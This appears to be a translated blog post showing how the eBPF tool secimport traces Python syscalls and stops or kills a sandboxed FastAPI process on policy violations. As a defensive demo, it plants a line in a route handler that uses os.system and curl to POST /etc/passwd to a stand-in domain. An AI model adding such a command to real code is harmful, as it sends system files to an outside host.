利用eBPF技术为FastAPI等网络API提供运行时安全防护

本文详细介绍了如何利用eBPF技术,通过secimport工具为Python编写的网络API(如FastAPI、Django等)创建安全沙箱。文章阐述了如何实时追踪系统调用、构建安全策略,并通过主动响应机制(如停止或终止进程)来防御远程代码执行等攻击,旨在帮助开发者在不牺牲性能的前提下增强应用程序的运行时安全。

利用eBPF加固FastAPI

利用eBPF保护面向互联网的API:FastAPI, BlackSheep, Flask, Django, aiohttp, Tornado等。

在上一篇文章中,我使用 secimport 来保护 PyTorch 代码。我展示了如何在任何 Linux 机器上安全地评估来自不安全来源的 PyTorch 模型。

目录:

  • 关于API安全性的说明
  • — 如何同时追踪Python和系统调用?
  • Secimport简介
  • — 追踪你的应用程序:secimport trace / trace_pid
  • — 构建eBPF配置文件(沙箱策略):secimport build
  • — 在eBPF监督下运行你的代码:secimport run
  • — 从交互式shell创建新沙箱:secimport interactive
  • 使用secimport阻断攻击
  • — 阻止RCE(远程代码执行)的FastAPI沙箱示例
  • — 使用 –kill_on_violation 和 –stop_on_violation 进行主动响应
  • — 结论

为何要保护API?

FastAPI 有大约 24 万行代码。

1
2
➜ fastapi git:(master) git ls-files | xargs wc -l
240562 total

API 应独立于操作系统运行,并且(在大多数情况下)避免依赖操作系统的内存或文件系统。API 被设计为无状态、直接且不复杂。它们包含了应用程序接口和数据库操作,并不断进行大规模通信。

对于黑客而言,API 因其宽松的“一体化”特性及巨大的影响范围而成为极具价值的目标。处理请求并通过 TCP 应用协议返回各种状态码(指示成功或错误)是它们的主要职责。

依赖项中的漏洞

2022年,log4shell 暴露了一个关键问题。Log4j 本是为日志记录而设计,却因大多数面向互联网的 Java 服务器中存在 HTTP 标头解析漏洞而被利用。此漏洞允许攻击者在目标 HTTP 服务器上打开本地 LDAP 服务器并执行命令。这引出了一个问题:为什么一个日志记录库需要具备网络通信和在主机上执行命令的能力?此类功能应仅在显式启用时才能使用,而不是默认开启。

PyPi 中恶意包的泛滥

2023年,由于安全事件数量激增,超出了审核人员的处理能力,pypi.org (Python Package Index) 不得不暂时关闭。虽然我们谨慎选择依赖项,但不应该因此而不敢使用它们。依赖项不应在未经明确许可的情况下具备网络通信或运行进程的能力。Python 代码在安装、导入和运行时都可能执行任意代码。

解释器的主导地位(“解释器即王者”)

Python 缺乏强大的权限管理,这是一个值得关注的问题。由于共享内存 (sys.modules)、线程等因素,管理代码中的每个模块可能具有挑战性。

尽管有人可能持不同意见,但我认为明确定义的能力可以使程序更具可预测性。

实时追踪 Python 系统调用

在第一篇博客文章(第一部分)中,我探索了各种追踪工具。我之前曾在 Mac 和 Windows 上使用 DTrace 进行追踪和运行时分析,但我想要一个更好的解决方案,那就是仅限 Linux 并使用 eBPF。

我将 bpftrace 集成到了 secimport,这是一个基于 eBPF+LLVM 的工具包。bpftrace 凭借其快速的学习曲线和稳健性成为最佳选择。

bpftrace 真正卓越之处在于它能够利用 LLVM 将用 bpftrace 语言编写的高级用户定义脚本编译成高效的 BPF 代码。结果令人印象深刻!

Secimport

由 eBPF 驱动的 Secimport 通过为 Python 提供一个安全沙箱来解决这些问题。使用 secimport,你可以为代码中的每个模块指定特定的系统调用,从而以极低的成本在运行时保护你的环境。

利用 USDT 和内核探针,secimport 追踪并保护 Python 运行时。它使开发人员能够重新掌控包的行为并保护他们的代码。

让我们在主机上安装 secimport(本例中是 Linux):

1
$ pip install secimport

可用的 secimport 命令包括:

  • secimport trace:追踪 Python 程序的行为,可以通过运行程序或指定正在运行的进程 ID 来执行。系统调用会按模块记录到文件中。
  • secimport trace_pid:通过 PID 追踪正在运行的进程。
  • secimport build:根据追踪记录构建新的沙箱环境。
  • secimport run:在沙箱环境中运行 Python 进程。
  • secimport interactive:通过记录 Python 解释器(交互式)的行为来创建新的定制沙箱。非常适合小段代码和评估。它实际上会依次运行 secimport trace, secimport build, secimport run

从头开始创建新的 secimport 沙箱:

要完全从头创建新的沙箱环境,你可以使用 docker 容器:

1
2
3
4
git clone https://github.com/avilum/secimport.git
cd docker
./build.sh # 构建 bpftrace docker,以支持你现有的内核(也支持 Mac)
./run.sh   # 启动一个新的临时容器。

你可以使用 secimport interactive 开始构建沙箱:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
root@1fa3d6f09989:/workspace# secimport interactive
- A python shell will be opened
- The behavior will be recorded.
OK? (y): y
TRACING: ['/workspace/secimport/profiles/trace.bt', '-c', '/workspace/Python-3.10.0/python', '-o', 'trace.log']
                        Press CTRL+D to stop the trace;
Python 3.10.0 (default, Mar 19 2023, 08:34:46) [GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import this
>>> exit()
$ secimport build
eBPF SANDBOX:  sandbox.bt
$ secimport run
Python 3.10.0 (default, Mar 19 2023, 08:34:46) [GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import this
>>> import os
[SECIMPORT VIOLATION]: <stdin> called syscall ioctl at depth 0
[SECIMPORT VIOLATION]: <stdin> called syscall ioctl at depth 0

STOP 和 KILL 标志

使用 –stop_on_violation 和 –kill_on_violation 防止执行

如果你知道自己在做什么,并且定义了一个足够好的策略,我鼓励你使用这两个非常有用的标志:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
root@1bc0531d91d0:/workspace# secimport run  --stop_on_violation
>>> import os
>>> os.system('ps')
[SECURITY PROFILE VIOLATED]: <stdin> called syscall 56 at depth 8022
^^^ STOPPING PROCESS 85918 DUE TO SYSCALL VIOLATION ^^^
PROCESS 85918 STOPPED.

root@ee4bc99bb011:/workspace# secimport run --kill_on_violation
>>> import os
>>> os.system('ps')
[SECURITY PROFILE VIOLATED]: <stdin> called syscall 56 at depth 8022
^^^ KILLING PROCESS 86466 DUE TO SYSCALL VIOLATION ^^^
 KILLED. SANDBOX EXITED;

如何保护 API 免受远程代码执行攻击?

让我们尝试保护给定代码免受此类场景的影响。我将快速使用一个 FastAPI 程序作为示例(来自他们的快速入门):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from fastapi import FastAPI
import uvicorn

app = FastAPI()

@app.get("/")
async def root():
    return {"message": "Hello World"}

if __name__ == "__main__":
    uvicorn.run(app, host="0.0.0.0", port=8000)

步骤 1: 追踪你的应用程序。

你可以使用以下方法之一来追踪你的 Python 应用程序:

  • secimport trace 将使用 eBPF 追踪脚本运行你的应用程序以追踪系统调用。
    1
    
    secimport trace main.py
    
  • secimport trace_pid 将追踪一个事先启动的正在运行的进程。
    1
    
    secimport trace_pid 28 # 其中 28 是一个已在运行的 python 进程
    
  • secimport interactive 可以追踪交互式 shell,适用于中小型代码片段(代替像 main.py 这样的入口点)。
    1
    2
    3
    4
    5
    6
    
    root@0584e98a4b5c:/workspace# secimport interactive
    Lets create our first tailor-made sandbox with secimport!
    - A python shell will be opened
    - The behavior will be recorded.
    OK? (y): y
    ...
    

高测试覆盖率会很有帮助,因为我们可以运行测试套件,并在逻辑被覆盖的情况下期望相同的系统调用。

你也可以在生产环境中使用 eBPF 安全地记录行为,使用 secimport trace_pid 123。它会附加到一个正在运行的进程,并能够按代码模块记录所有系统调用。

我们已经追踪了我们的程序。让我们根据这个追踪记录构建沙箱!

步骤 2: 根据追踪记录创建 YAML/JSON 策略。

我们构建一个 bpftrace 脚本,该脚本会被翻译成监督进程的 eBPF 代码。

1
secimport build <flags>

步骤 3: 在 eBPF 沙箱中运行你的 Python 应用程序。

1
secimport run main.py <flags>

处理违规

我们已经用 secimport 运行了 main.py,并且它运行良好。让我们看看,如果我们添加以下恶意行会发生什么:

1
2
3
4
@app.get("/")
async def root():
+++ import os;os.system("curl -X POST -d "$(cat /etc/passwd)" mydomain.com') 
    return {"message": "Hello World"}

默认情况下,secimport 会记录一次违规 —— 因为我们使用 “os.system” 运行了一个命令。

如果我们希望在检测到违规时终止或停止应用程序,secimport 可以向受监督的子进程发送一个信号 —— SIGSTOP 或 SIGTERM,就在系统调用实际执行之前!

secimport 能够干预进程并在其违反你定义的策略时进行阻止。

在违规时停止进程

1
2
3
4
5
6
7
8
9
root@0584e98a4b5c:/workspace# secimport run --entrypoint main.py --stop_on_violation
[WARNING]: This sandbox will send SIGSTOP to the program upon violation.
INFO:     Started server process [93]
INFO:     Waiting for application startup.
INFO:     Application startup complete.
INFO:     Uvicorn running on http://0.0.0.0:8000 (Press CTRL+C to quit)|
[SECURITY PROFILE VIOLATED]: /workspace/main.py called syscall 56 at depth 174387
^^^ STOPPING PROCESS 2446 DUE TO SYSCALL VIOLATION ^^^
 PROCESS 2446 STOPPED.

正如你在日志中看到的 —— 通过向 “secimport run” 添加 “–stop_on_violation” 标志,沙箱停止了进程,并且根本没有发送 HTTP 响应:页面没有加载!响应为空。这正是我们所期望的,因为策略被违反了。

在违规时终止进程

如果我们想终止进程,而不是停止它,该怎么办?

1
2
3
4
5
6
7
8
9
root@0584e98a4b5c:/workspace# secimport run --entrypoint main.py --kill_on_violation
[WARNING]: This sandbox will send SIGKILL to the program upon violation.
INFO:     Started server process [100]
INFO:     Waiting for application startup.
INFO:     Application startup complete.
INFO:     Uvicorn running on http://0.0.0.0:8000 (Press CTRL+C to quit)
[SECURITY PROFILE VIOLATED]: /workspace/main.py called syscall 56 at depth 173398
^^^ KILLING PROCESS 2455 DUE TO SYSCALL VIOLATION ^^^
 KILLED. SANDBOX EXITED;

进程按预期被终止。在我看来,这真是太棒了!

如何处理错误?

我建议设置一个宽限期,在此期间所有“错误”都会被记录下来,而不是主动响应 —— 这是默认行为。如果你知道自己在做什么,并且已经覆盖了你希望允许的所有用例,那么使用 stop_on_violationkill_on_violation 这些不安全的标志来阻断攻击,而不仅仅是记录它们。

结论

想象一下,在每个 Python 仓库中都有一个公开的 “capabilities.txt” 文件,定义了一个模块可以执行的系统调用。

当然,目前的解释器并不支持这一点,但这种精确的规范将澄清模块的行为,不留任何歧义。

程序员应该清楚地了解他们代码的行为,包括网络通信、文件系统访问、sudo 权限、套接字绑定、进程管理(fork/spawn)、内存操作(mmap, unshare, shm)等等。

感谢你读到这里。我希望我鼓励了你使用 secimport 来保护你当前的应用程序。我可以帮助这个过程,只需在 GitHub 上提交一个问题即可。

  • 第一部分:在你的代码中对 Python 模块进行沙箱化
  • 第二部分:使用 eBPF 保护 PyTorch 模型

源代码和示例: https://github.com/avilum/secimport

顺便说一句,这是我利用业余时间做的。我真的很喜欢咖啡!

Avi is making the internet safer in his spare time

I’m a business-oriented engineer, who loves security and AI, with deep security insights. I like to pwn cloud…

www.buymeacoffee.com

查看我之前的发布:

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计